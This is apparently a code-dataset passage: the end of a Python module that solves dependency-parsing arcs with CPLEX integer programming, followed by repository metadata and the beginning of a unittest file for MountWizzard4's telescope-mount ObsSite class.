# d_j - (n + 1) a_ij >= 1 - n
constraing_lhd.append([
[distances[j], arcs[(i, j)]],
[1., -(graph.n_nodes() + 1)]
])
constraing_sign.append("G")
constraing_rhs.append(1 - graph.n_nodes())
# (10) n + 1 - d_j >= (n - 1) a_ij
# -d_j - (n - 1) a_ij >= -1 - n
constraing_lhd.append([
[distances[j], arcs[(i, j)]],
[-1., -(graph.n_nodes() - 1)]
])
constraing_sign.append("G")
constraing_rhs.append(-1 - graph.n_nodes())
else:
# (9) n + d_j - d_i >= (n + 1) a_ij
# d_j - d_i - (n + 1) a_ij >= - n
constraing_lhd.append([
[distances[j], distances[i], arcs[(i, j)]],
[1., -1., -(graph.n_nodes() + 1)]
])
constraing_sign.append("G")
constraing_rhs.append(-graph.n_nodes())
# (10) n + d_i - d_j >= (n - 1) a_ij
# d_i - d_j - (n - 1) a_ij >= -n
constraing_lhd.append([
[distances[i], distances[j], arcs[(i, j)]],
[1., -1., -(graph.n_nodes() - 1)]
])
constraing_sign.append("G")
constraing_rhs.append(-graph.n_nodes())
# supplementary constraints (12) (13)
for (v, u), var_e in edges.items():
# (12) d_v - d_u <= n - (n - 1) e_vu
# (13) d_u - d_v <= n - (n - 1) e_vu
if v == graph.root:
# (12) 1 - d_u <= n - (n - 1) e_vu
# - d_u + (n - 1) e_vu <= n - 1
constraing_lhd.append([
[distances[u], var_e],
[-1., (graph.n_nodes() - 1)]
])
constraing_sign.append("L")
constraing_rhs.append(graph.n_nodes() - 1)
# (13) d_u - 1 <= n - (n - 1) e_vu
# d_u + (n - 1) e_vu <= n + 1
constraing_lhd.append([
[distances[u], var_e],
[1., (graph.n_nodes() - 1)]
])
constraing_sign.append("L")
constraing_rhs.append(graph.n_nodes() + 1)
elif u == graph.root:
# (12) d_v - 1 <= n - (n - 1) e_vu
# d_v + (n - 1) e_vu <= n + 1
constraing_lhd.append([
[distances[v], var_e],
[1., (graph.n_nodes() - 1)]
])
constraing_sign.append("L")
constraing_rhs.append(graph.n_nodes() + 1)
# (13) 1 - d_v <= n - (n - 1) e_vu
# - d_v + (n - 1) e_vu <= n - 1
constraing_lhd.append([
[distances[v], var_e],
[-1., (graph.n_nodes() - 1)]
])
constraing_sign.append("L")
constraing_rhs.append(graph.n_nodes() - 1)
else:
# (12) d_v - d_u <= n - (n - 1) e_vu
# d_v - d_u + (n - 1) e_vu <= n
constraing_lhd.append([
[distances[v], distances[u], var_e],
[1., -1., (graph.n_nodes() - 1)]
])
constraing_sign.append("L")
constraing_rhs.append(graph.n_nodes())
# (13) d_u - d_v <= n - (n - 1) e_vu
# d_u - d_v + (n - 1) e_vu <= n
constraing_lhd.append([
[distances[u], distances[v], var_e],
[1., -1., (graph.n_nodes() - 1)]
])
constraing_sign.append("L")
constraing_rhs.append(graph.n_nodes())
mprog.linear_constraints.add(
lin_expr=constraing_lhd,
senses=constraing_sign,
rhs=constraing_rhs,
)
# Solve the problem
mprog.solve()
# And print the solutions
variable_values = mprog.solution.get_values()
if linear_relaxation:
pred_arcs = torch.zeros_like(max_values, dtype=torch.float, device="cpu", requires_grad=False)
selected_nodes = torch.zeros(n_words, dtype=torch.float, device="cpu", requires_grad=False)
for (head, mod), v in edges.items():
v = variable_values[v]
for i2, j2 in graph.get_original_from_arc(head, mod):
if i2 == 0:
pred_arcs[i2, j2] = v
elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0:
pred_arcs[i2, j2] = v
pred_arcs[j2, i2] = v
elif max_values[i2, j2] > max_values[j2, i2]:
pred_arcs[i2, j2] = v
else:
pred_arcs[j2, i2] = v
for n, i in nodes.items():
v = variable_values[i]
o_nodes, o_arcs = graph.get_original_from_node(n)
for o in o_nodes:
if o > 0:
selected_nodes[o - 1] = v
for i2, j2 in o_arcs:
if i2 == 0:
pred_arcs[i2, j2] = v
elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0:
pred_arcs[i2, j2] = v
pred_arcs[j2, i2] = v
elif max_values[i2, j2] > max_values[j2, i2]:
pred_arcs[i2, j2] = v
else:
pred_arcs[j2, i2] = v
#print(pred_arcs)
#print(selected_nodes)
return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device)
else:
pred_arcs = torch.zeros_like(max_values, dtype=torch.bool, device="cpu", requires_grad=False)
selected_nodes = torch.zeros(n_words, dtype=torch.bool, device="cpu", requires_grad=False)
for (head, mod), v in edges.items():
if variable_values[v] > 0.99:
for i2, j2 in graph.get_original_from_arc(head, mod):
if i2 == 0:
pred_arcs[i2, j2] = True
elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0:
pred_arcs[i2, j2] = True
pred_arcs[j2, i2] = True
elif max_values[i2, j2] > max_values[j2, i2]:
pred_arcs[i2, j2] = True
else:
pred_arcs[j2, i2] = True
for n, i in nodes.items():
if variable_values[i] > 0.99:
o_nodes, o_arcs = graph.get_original_from_node(n)
for o in o_nodes:
if o > 0:
selected_nodes[o - 1] = True
for i2, j2 in o_arcs:
if i2 == 0:
pred_arcs[i2, j2] = True
elif max_values[i2, j2] > 0 and max_values[j2, i2] > 0:
pred_arcs[i2, j2] = True
pred_arcs[j2, i2] = True
elif max_values[i2, j2] > max_values[j2, i2]:
pred_arcs[i2, j2] = True
else:
pred_arcs[j2, i2] = True
#print(pred_arcs)
#print(selected_nodes)
return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device)
"""
def argmax_semi_structured(weights, node_weights, linear_relaxation=False):
n_words = node_weights.shape[0]
# get the label of maximum weight for each arc
arc_weights, max_indices = weights.max(dim=2)
# transform arc weights into edge weights
# the edge weights between a and b is degined as follows:
# w(a, b) > 0 and w(b, a) > 0: w(a, b) + w(b, a)
# w(a, b) <= 0 and w(b, a) > 0: w(b, a)
# w(a, b) > 0 and w(b, a) <= 0: w(a, b)
# w(a, b) <= 0 and w(b, a) <= 0: max(w(a, b), w(b, a))
t_arc_weights = arc_weights.transpose(0, 1)
edge_weights = torch.max(arc_weights + t_arc_weights, torch.max(arc_weights, t_arc_weights))
edge_weights = edge_weights.cpu()
node_weights = node_weights.cpu()
graph = Graph(
n_words + 1,
lambda i: 0 if i == 0 else node_weights[i - 1].item(),
lambda i, j: weights[i, j].item()
)
# Reduction:
# if w(a, b) + w(a) + w(b) > 0,
# the we can contract into a single node which is always selected
while True:
has_merged_something = False
for i, j in graph.arc_iterator():
w = graph.arc_weight(i, j) + graph.node_weight(i) + graph.node_weight(j)
if w > 0:
graph.merge(i, j)
has_merged_something = True
break
if not has_merged_something:
break
mprog = cplex.Cplex()
mprog.set_log_stream(None)
mprog.set_error_stream(None)
mprog.set_warning_stream(None)
mprog.set_results_stream(None)
mprog.objective.set_sense(mprog.objective.sense.maximize)
variables = ["x_" + str(i + 1) for i in range(n_words)]
scores = [node_weights[i].item() for i in range(n_words)]
arcs = dict()
for head in range(n_words + 1):
for mod in range(1, n_words + 1):
if head != mod:
name = "y_" + str(head) + "_" + str(mod)
arcs[(head, mod)] = len(variables)
variables.append(name)
scores.append(arc_weights[head, mod].item())
lb = [0] * len(variables)
ub = [1] * len(variables)
x = mprog.variables.add(
obj=scores,
lb=lb,
ub=ub,
names=variables,
types="" if linear_relaxation else [mprog.variables.type.binary] * len(scores)
)
constraing_lhd = []
constraing_rhs = []
constraing_sign = []
# each node is forced to 1 if at least one adjacent arc
for i in range(n_words):
for head in range(0, n_words + 1):
if head == i + 1:
continue
# node >= arcs[(head, i + 1)]
constraing_lhd.append([
[i, arcs[(head, i + 1)]],
[1., -1.]
])
constraing_rhs.append(0)
constraing_sign.append("G")
for mod in range(1, n_words + 1):
if mod == i + 1:
continue
# node >= arcs[(i + 1, mod)]
constraing_lhd.append([
[i, arcs[(i + 1, mod)]],
[1., -1.]
])
constraing_rhs.append(0)
constraing_sign.append("G")
# each node is forced to 0 if no adjacent arc
for i in range(n_words):
adjacent_arcs = [i]
adjacent_arcs.extend(
arcs[(head, i + 1)]
for head in range(0, n_words + 1)
if head != i + 1
)
adjacent_arcs.extend(
arcs[(i + 1, mod)]
for mod in range(1, n_words + 1)
if mod != i + 1
)
# node <= mip.xsum(adjacent_arcs)
constraing_lhd.append([
adjacent_arcs,
[1.] + [-1.] * (len(adjacent_arcs) - 1)
])
constraing_rhs.append(0)
constraing_sign.append("L")
mprog.linear_constraints.add(
lin_expr=constraing_lhd,
senses=constraing_sign,
rhs=constraing_rhs,
)
# Solve the problem
mprog.solve()
# And print the solutions
variable_values = mprog.solution.get_values()
pred_arcs = torch.zeros_like(arc_weights, dtype=bool, device="cpu", requires_grad=False)
for (head, mod), v in arcs.items():
if variable_values[v] > 0.99:
pred_arcs[head, mod] = True
selected_nodes = torch.zeros(n_words, dtype=bool, device="cpu", requires_grad=False)
for i in range(n_words):
if variable_values[i] > 0.99:
selected_nodes[i] = True
#print(pred_arcs)
#print(selected_nodes)
return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device)
MIP + Gurobi implementation,
unfortunately I cannot run Gurobi on the cluster due to licensing problems
def argmax_semi_structured(weights, node_weights):
# get the label of maximum weight for each arc
arc_weights, max_indices = weights.max(dim=2)
arc_weights = arc_weights.cpu()
node_weights = node_weights.cpu()
m = mip.Model('knapsack', sense= mip.MAXIMIZE, solver_name=mip.GRB)
m.verbose = 0
nodes = [m.add_var(var_type=mip.BINARY) for _ in range(node_weights.shape[0])]
score_items = [node_weights[i].item() * nodes[i] for i in range(len(nodes))]
arcs = dict()
for head in range(node_weights.shape[0] + 1):
for mod in range(1, node_weights.shape[0] + 1):
if head != mod:
v = m.add_var(var_type=mip.BINARY)
arcs[(head, mod)] = v
score_items.append(v * arc_weights[head, mod].item())
m.objective = mip.maximize(mip.xsum(score_items))
# each node is forced to 1 if at least one adjacent arc
for i, node in enumerate(nodes):
for head in range(0, len(nodes) + 1):
if head == i + 1:
continue
m += node - arcs[(head, i + 1)] >= 0
for mod in range(1, len(nodes) + 1):
if mod == i + 1:
continue
m += node - arcs[(i + 1, mod)] >= 0
# each node is forced to 0 if no adjacent arc
for i, node in enumerate(nodes):
adjacent_arcs = [arcs[(head, i + 1)] for head in range(0, len(nodes) + 1) if head != i + 1]
adjacent_arcs += [arcs[(i + 1, mod)] for mod in range(1, len(nodes) + 1) if mod != i + 1]
m += node <= mip.xsum(adjacent_arcs)
status = m.optimize()
pred_arcs = torch.zeros_like(arc_weights, dtype=bool, device="cpu", requires_grad=False)
for (head, mod), v in arcs.items():
if v.x > 0.99:
pred_arcs[head, mod] = True
selected_nodes = torch.zeros(len(nodes), dtype=bool, device="cpu", requires_grad=False)
for i, x in enumerate(nodes):
if x.x > 0.99:
selected_nodes[i] = True
#print(pred_arcs)
#print(selected_nodes)
return pred_arcs.to(max_indices.device), max_indices, selected_nodes.to(max_indices.device)
"""
| 37.084052 | 150 | 0.506741 | 4,510 | 34,414 | 3.69357 | 0.058537 | 0.048025 | 0.015848 | 0.021611 | 0.823208 | 0.792472 | 0.762937 | 0.743006 | 0.714732 | 0.688438 | 0 | 0.028376 | 0.375341 | 34,414 | 927 | 151 | 37.124056 | 0.746523 | 0.105626 | 0 | 0.778 | 0 | 0 | 0.004337 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.01 | false | 0 | 0.006 | 0 | 0.034 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a28b704a46144a944efa0b5a0f276a57da667714 | 63,772 | py | Python | tests/unit_tests/mountcontrol/test_obsSite.py | mworion/MountWizzard4 | 4e06b29ec2ef70be40e114b911b7bdf2f858a4b1 | [
"Apache-2.0"
] | 16 | 2020-01-11T22:32:26.000Z | 2022-03-31T15:18:14.000Z | tests/unit_tests/mountcontrol/test_obsSite.py | mworion/MountWizzard4 | 4e06b29ec2ef70be40e114b911b7bdf2f858a4b1 | [
"Apache-2.0"
] | 196 | 2020-01-16T13:56:01.000Z | 2022-03-29T02:06:51.000Z | tests/unit_tests/mountcontrol/test_obsSite.py | mworion/MountWizzard4 | 4e06b29ec2ef70be40e114b911b7bdf2f858a4b1 | [
"Apache-2.0"
] | 6 | 2019-12-01T19:39:33.000Z | 2021-05-27T13:14:20.000Z | ############################################################
# -*- coding: utf-8 -*-
#
# # # # # # #
# ## ## # ## # #
# # # # # # # # # # #
# # ## # ## ## ######
# # # # # # #
#
# Python-based Tool for interaction with the 10micron mounts
# GUI with PyQT5 for python
#
# written in python3, (c) 2019-2021 by mworion
# Licence APL2.0
#
###########################################################
# standard libraries
import unittest
import unittest.mock as mock
import os
import platform
# external packages
from skyfield.api import Angle, Timescale, wgs84, Star
# local imports
import mountcontrol
from mountcontrol.obsSite import ObsSite
from base.loggerMW import setupLogging
setupLogging()
class TestConfigData(unittest.TestCase):
def setUp(self):
global pathToData
pathToData = os.getcwd() + '/data'
#
#
# testing the timescale reference
#
#
def test_Data_without_ts(self):
obsSite = ObsSite(pathToData='tests/workDir/data')
self.assertEqual(isinstance(obsSite.ts, Timescale), True)
def test_Data_with_ts(self):
obsSite = ObsSite(pathToData=None)
self.assertEqual(isinstance(obsSite.ts, Timescale), True)
def test_Site_location_1(self):
obsSite = ObsSite(pathToData=pathToData)
elev = '999.9'
lon = '+160*30:45.5'
lat = '+45*30:45.5'
obsSite.location = lat, lon, elev
self.assertAlmostEqual(160, obsSite.location.longitude.dms()[0], 6)
self.assertAlmostEqual(30, obsSite.location.longitude.dms()[1], 6)
self.assertAlmostEqual(45.5, obsSite.location.longitude.dms()[2], 6)
self.assertAlmostEqual(45, obsSite.location.latitude.dms()[0], 6)
self.assertAlmostEqual(30, obsSite.location.latitude.dms()[1], 6)
self.assertAlmostEqual(45.5, obsSite.location.latitude.dms()[2], 6)
self.assertAlmostEqual(999.9, obsSite.location.elevation.m, 6)
def test_Site_location_2(self):
obsSite = ObsSite(pathToData=pathToData)
elev = '999.9'
lon = '+160*30:45.5'
lat = '+45*30:45.5'
obsSite.location = (lat, lon, elev)
self.assertAlmostEqual(160, obsSite.location.longitude.dms()[0], 6)
self.assertAlmostEqual(30, obsSite.location.longitude.dms()[1], 6)
self.assertAlmostEqual(45.5, obsSite.location.longitude.dms()[2], 6)
self.assertAlmostEqual(45, obsSite.location.latitude.dms()[0], 6)
self.assertAlmostEqual(30, obsSite.location.latitude.dms()[1], 6)
self.assertAlmostEqual(45.5, obsSite.location.latitude.dms()[2], 6)
self.assertAlmostEqual(999.9, obsSite.location.elevation.m, 6)
def test_Site_location_3(self):
obsSite = ObsSite(pathToData=pathToData)
elev = 100
lon = 100
lat = 45
obsSite.location = wgs84.latlon(longitude_degrees=lon,
latitude_degrees=lat,
elevation_m=elev)
self.assertAlmostEqual(100, obsSite.location.longitude.dms()[0], 6)
self.assertAlmostEqual(0, obsSite.location.longitude.dms()[1], 6)
self.assertAlmostEqual(0, obsSite.location.longitude.dms()[2], 6)
self.assertAlmostEqual(45, obsSite.location.latitude.dms()[0], 6)
self.assertAlmostEqual(0, obsSite.location.latitude.dms()[1], 6)
self.assertAlmostEqual(0, obsSite.location.latitude.dms()[2], 6)
self.assertAlmostEqual(100, obsSite.location.elevation.m, 6)
def test_Site_location_4(self):
obsSite = ObsSite(pathToData=pathToData)
lon = '+160*30:45.5'
lat = '+45*30:45.5'
obsSite.location = (lat, lon)
self.assertEqual(None, obsSite.location)
self.assertEqual(None, obsSite._location)
def test_Site_location_5(self):
obsSite = ObsSite(pathToData=pathToData)
lat = '+45*30:45.5'
obsSite.location = lat
self.assertEqual(None, obsSite.location)
def test_Site_timeJD_1(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.ut1_utc = '0'
obsSite.timeJD = '2458240.12345678'
self.assertEqual(2458240.123457949, obsSite.timeJD.ut1)
obsSite.timeJD = 2458240.12345678
self.assertEqual(2458240.123457949, obsSite.timeJD.ut1)
obsSite.timeJD = '2458240.a23e5678'
self.assertAlmostEqual(obsSite.ts.now(), obsSite.timeJD, 4)
self.assertEqual(None, obsSite._timeJD)
def test_Site_timeJD_2(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.timeJD = obsSite.ts.now().tt - 69.184 / 86400
self.assertAlmostEqual(obsSite.ts.now().tt, obsSite.timeJD.tt, 4)
def test_timeDiff(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite._timeDiff = [10, 10, 10, 10, 10]
obsSite.timeDiff = 20
assert obsSite.timeDiff == 10
def test_Site_ut1_utc(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.ut1_utc = '123.11'
self.assertEqual(123.11 / 86400, obsSite.ut1_utc)
def test_Site_utc_ut2(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.ut1_utc = None
assert obsSite.ut1_utc is None
def test_Site_timeSidereal_1(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.timeSidereal = '12:30:00.00'
self.assertEqual(obsSite.timeSidereal.hours, 12.5)
obsSite.timeSidereal = '12:aa:30.01'
self.assertEqual(None, obsSite.timeSidereal)
obsSite.timeSidereal = ['12:aa:30.01']
self.assertEqual(None, obsSite.timeSidereal)
self.assertEqual(None, obsSite._timeSidereal)
obsSite.timeSidereal = 12.0
self.assertEqual(obsSite.timeSidereal.hours, 12)
obsSite.timeSidereal = Angle(hours=12.0)
self.assertEqual(obsSite.timeSidereal.hours, 12)
def test_Site_ra(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.raJNow = Angle(hours=34)
self.assertEqual(34, obsSite.raJNow.hours)
obsSite.raJNow = 34
self.assertEqual(34, obsSite.raJNow.hours)
self.assertEqual(34, obsSite._raJNow.hours)
obsSite.raJNow = '34'
self.assertEqual(34, obsSite.raJNow.hours)
obsSite.raJNow = '34f'
self.assertEqual(None, obsSite.raJNow)
def test_Site_dec(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.decJNow = Angle(degrees=34)
self.assertEqual(34, obsSite.decJNow.degrees)
obsSite.decJNow = 34
self.assertEqual(34, obsSite.decJNow.degrees)
self.assertEqual(34, obsSite._decJNow.degrees)
obsSite.decJNow = '34'
self.assertEqual(34, obsSite.decJNow.degrees)
obsSite.decJNow = '34f'
self.assertEqual(None, obsSite.decJNow)
def test_Site_alt(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.Alt = Angle(degrees=34)
self.assertEqual(34, obsSite.Alt.degrees)
obsSite.Alt = 34
self.assertEqual(34, obsSite.Alt.degrees)
self.assertEqual(34, obsSite._Alt.degrees)
obsSite.Alt = '34'
self.assertEqual(34, obsSite.Alt.degrees)
obsSite.Alt = '34f'
self.assertEqual(None, obsSite.Alt)
def test_Site_az(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.Az = Angle(degrees=34)
self.assertEqual(34, obsSite.Az.degrees)
obsSite.Az = 34
self.assertEqual(34, obsSite.Az.degrees)
self.assertEqual(34, obsSite._Az.degrees)
obsSite.Az = '34'
self.assertEqual(34, obsSite.Az.degrees)
obsSite.Az = '34f'
self.assertEqual(None, obsSite.Az)
def test_Site_pierside(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.pierside = 'E'
self.assertEqual(obsSite.pierside, 'E')
obsSite.pierside = 'e'
self.assertEqual(obsSite.pierside, 'E')
obsSite.pierside = 'w'
self.assertEqual(obsSite.pierside, 'W')
self.assertEqual(obsSite._pierside, 'W')
obsSite.pierside = 'W'
self.assertEqual(obsSite.pierside, 'W')
obsSite.pierside = 'WW'
self.assertEqual(obsSite.pierside, None)
obsSite.pierside = '12'
self.assertEqual(obsSite.pierside, None)
obsSite.pierside = 17
self.assertEqual(obsSite.pierside, None)
def test_Site_raTarget(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.raJNowTarget = '*34:00:00.00'
self.assertEqual(34, obsSite.raJNowTarget.hours)
obsSite.raJNowTarget = 34
self.assertEqual(None, obsSite.raJNowTarget)
self.assertEqual(None, obsSite._raJNowTarget)
obsSite.raJNowTarget = '34'
self.assertEqual(None, obsSite.raJNowTarget)
obsSite.raJNowTarget = '34f'
self.assertEqual(None, obsSite.raJNowTarget)
obsSite.raJNowTarget = Angle(hours=12)
self.assertEqual(obsSite.raJNowTarget.hours, 12)
def test_Site_haJNow_1(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.timeSidereal = 12
obsSite.raJNow = Angle(hours=12)
obsSite.haJNow is None
def test_Site_haJNow_2(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.timeSidereal = Angle(hours=12)
obsSite.raJNow = Angle(hours=12)
obsSite.haJNow.hours == 0
def test_Site_haJNowTarget_1(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.timeSidereal = 12
obsSite.raJNowTarget = Angle(hours=12)
obsSite.haJNowTarget is None
def test_Site_haJNowTarget_2(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.timeSidereal = Angle(hours=12)
obsSite.raJNowTarget = Angle(hours=12)
obsSite.haJNowTarget.hours == 0
def test_Site_decTarget(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.decJNowTarget = '*34:00:00.00'
self.assertEqual(34, obsSite.decJNowTarget.degrees)
obsSite.decJNowTarget = 34
self.assertEqual(None, obsSite.decJNowTarget)
self.assertEqual(None, obsSite._decJNowTarget)
obsSite.decJNowTarget = '34'
self.assertEqual(None, obsSite.decJNowTarget)
obsSite.decJNowTarget = '34f'
self.assertEqual(None, obsSite.decJNowTarget)
obsSite.decJNowTarget = Angle(degrees=34)
self.assertEqual(obsSite.decJNowTarget.degrees, 34)
def test_Site_altTarget(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.AltTarget = '*34:00:00.00'
self.assertEqual(34, obsSite.AltTarget.degrees)
obsSite.AltTarget = 34
self.assertEqual(None, obsSite.AltTarget)
obsSite.AltTarget = Angle(degrees=34)
self.assertEqual(obsSite.AltTarget.degrees, 34)
self.assertEqual(obsSite._AltTarget.degrees, 34)
obsSite.AltTarget = '34'
self.assertEqual(None, obsSite.AltTarget)
obsSite.AltTarget = '34f'
self.assertEqual(None, obsSite.AltTarget)
def test_Site_azTarget(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.AzTarget = '*34:00:00.00'
self.assertEqual(34, obsSite.AzTarget.degrees)
obsSite.AzTarget = 34
self.assertEqual(None, obsSite.AzTarget)
obsSite.AzTarget = Angle(degrees=34)
self.assertEqual(obsSite.AzTarget.degrees, 34)
self.assertEqual(obsSite._AzTarget.degrees, 34)
obsSite.AzTarget = '34'
self.assertEqual(None, obsSite.AzTarget)
obsSite.AzTarget = '34f'
self.assertEqual(None, obsSite.AzTarget)
def test_angularPosRA_1(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.angularPosRA = 12
assert obsSite.angularPosRA.degrees == 12
def test_angularPosRA_2(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.angularPosRA = Angle(degrees=12)
assert obsSite.angularPosRA.degrees == 12
def test_angularPosDEC_1(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.angularPosDEC = 12
assert obsSite.angularPosDEC.degrees == 12
def test_angularPosDEC_2(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.angularPosDEC = Angle(degrees=12)
assert obsSite.angularPosDEC.degrees == 12
def test_errorAngularPosRA_1(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.errorAngularPosRA = 12
assert obsSite.errorAngularPosRA.degrees == 12
def test_errorAngularPosRA_2(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.errorAngularPosRA = Angle(degrees=12)
assert obsSite.errorAngularPosRA.degrees == 12
def test_errorAngularPosDEC_1(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.errorAngularPosDEC = 12
assert obsSite.errorAngularPosDEC.degrees == 12
def test_errorAngularPosDEC_2(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.errorAngularPosDEC = Angle(degrees=12)
assert obsSite.errorAngularPosDEC.degrees == 12
def test_angularPosRATarget_1(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.angularPosRATarget = 12
assert obsSite.angularPosRATarget.degrees == 12
def test_angularPosRATarget_2(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.angularPosRATarget = Angle(degrees=12)
assert obsSite.angularPosRATarget.degrees == 12
def test_angularPosDECTarget_1(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.angularPosDECTarget = 12
assert obsSite.angularPosDECTarget.degrees == 12
def test_angularPosDECTarget_2(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.angularPosDECTarget = Angle(degrees=12)
assert obsSite.angularPosDECTarget.degrees == 12
def test_Site_piersideTarget(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.piersideTarget = '2'
self.assertEqual(obsSite.piersideTarget, 'W')
obsSite.piersideTarget = '3'
self.assertEqual(obsSite.piersideTarget, 'E')
obsSite.piersideTarget = '3'
self.assertEqual(obsSite.piersideTarget, 'E')
self.assertEqual(obsSite._piersideTarget, 'E')
obsSite.piersideTarget = '3'
self.assertEqual(obsSite.piersideTarget, 'E')
obsSite.piersideTarget = 'WW'
self.assertEqual(obsSite.piersideTarget, None)
obsSite.piersideTarget = '12'
self.assertEqual(obsSite.piersideTarget, None)
obsSite.piersideTarget = 0
self.assertEqual(obsSite.piersideTarget, None)
def test_Site_status(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.status = '1'
self.assertEqual(1, obsSite.status)
obsSite.status = 1
self.assertEqual(1, obsSite.status)
self.assertEqual(1, obsSite._status)
obsSite.status = '1d'
self.assertEqual(None, obsSite.status)
obsSite.status = '1d'
self.assertEqual(None, obsSite.status)
obsSite.status = '0'
self.assertEqual(0, obsSite.status)
obsSite.status = '100'
self.assertEqual(None, obsSite.status)
def test_status_1(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.status = None
self.assertEqual(None, obsSite.status)
def test_status_2(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.status = 'E'
self.assertEqual(None, obsSite.status)
def test_status_3(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.status = '5'
self.assertEqual(5, obsSite.status)
def test_statusSat_1(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.statusSat = 1
self.assertEqual(obsSite.statusSat, None)
def test_statusSat_2(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.statusSat = 'V'
self.assertEqual(obsSite.statusSat, 'V')
def test_Site_statusText_1(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.status = None
self.assertEqual(None, obsSite.statusText())
def test_Site_statusText_2(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.status = '1'
self.assertEqual('Stopped after STOP', obsSite.statusText())
def test_Site_statusSlew(self):
obsSite = ObsSite(pathToData=pathToData)
obsSite.statusSlew = '1'
self.assertEqual(True, obsSite.statusSlew)
obsSite.statusSlew = 1
self.assertEqual(True, obsSite.statusSlew)
self.assertEqual(True, obsSite._statusSlew)
obsSite.statusSlew = True
self.assertEqual(True, obsSite.statusSlew)
obsSite.statusSlew = False
self.assertEqual(False, obsSite.statusSlew)
obsSite.statusSlew = 'True'
self.assertEqual(True, obsSite.statusSlew)
obsSite.statusSlew = '100'
self.assertEqual(True, obsSite.statusSlew)
obsSite.statusSlew = '-100'
self.assertEqual(True, obsSite.statusSlew)
obsSite.statusSlew = ''
self.assertEqual(False, obsSite.statusSlew)
obsSite.statusSlew = (0, 0)
self.assertEqual(True, obsSite.statusSlew)
def test_ObsSite_parseLocation_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['+0585.2', '-011:35:00.0', '+48:07:00.0', '03']
suc = obsSite.parseLocation(response, 4)
self.assertEqual(True, suc)
def test_ObsSite_parseLocation_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['+0585.2', '+011:35:00.0', '+48:07:00.0', '03']
suc = obsSite.parseLocation(response, 4)
self.assertEqual(True, suc)
def test_ObsSite_parseLocation_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
suc = obsSite.parseLocation(response, 4)
self.assertEqual(False, suc)
def test_ObsSite_parseLocation_not_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['+master', '-011:35:00.0', '+48:07:00.0', '03']
suc = obsSite.parseLocation(response, 4)
self.assertEqual(True, suc)
def test_ObsSite_parseLocation_not_ok3(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['+0585.2', '-011:35:00.0', '+48:sdj.0', '03']
suc = obsSite.parseLocation(response, 4)
self.assertEqual(True, suc)
def test_ObsSite_parseLocation_not_ok4(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['+0585.2', '-011:EE:00.0', '+48:07:00.0', '03']
suc = obsSite.parseLocation(response, 4)
self.assertEqual(True, suc)
def test_ObsSite_poll_ok(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['+0585.2', '-011:35:00.0', '+48:07:00.0', '03']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 4
suc = obsSite.getLocation()
self.assertEqual(True, suc)
def test_ObsSite_poll_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['+0585.2', '-011:35:00.0', '+48:07:00.0', '03']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 4
suc = obsSite.getLocation()
self.assertEqual(False, suc)
def test_ObsSite_poll_not_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['+0585.2', '-011:35:00.0', '+48:07:00.0', '03']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 6
suc = obsSite.getLocation()
